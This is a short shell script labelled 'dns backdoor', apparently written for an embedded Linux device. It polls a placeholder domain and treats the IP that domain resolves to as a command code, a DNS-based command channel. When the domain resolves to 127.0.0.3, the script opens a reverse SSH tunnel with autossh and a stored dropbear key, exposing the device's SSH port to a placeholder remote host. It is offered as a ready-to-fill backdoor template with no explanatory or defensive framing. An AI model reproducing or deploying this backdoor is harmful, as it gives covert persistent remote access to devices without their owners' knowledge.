dns backdoor

dnsdoor.sh

#!/bin/ash

TASK=`ping -c 1 your.domain.here | grep PING | grep -o '[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}\.[0-9]\{1,3\}'`

case $TASK in
127.0.0.1)
        #Your code here
        Message="Ok1"
        ;;
127.0.0.2)
        #Your code here
        Message="Ok2"
        ;;
127.0.0.3)
        /usr/sbin/autossh -f -M 0 -i /etc/dropbear/id_rsa -N -T -R 1001:127.0.0.1:22 user@your.sshhost.here
        Message="Ok3"
        ;;
*)
        Message="Non matching"
        ;;
esac

echo $Message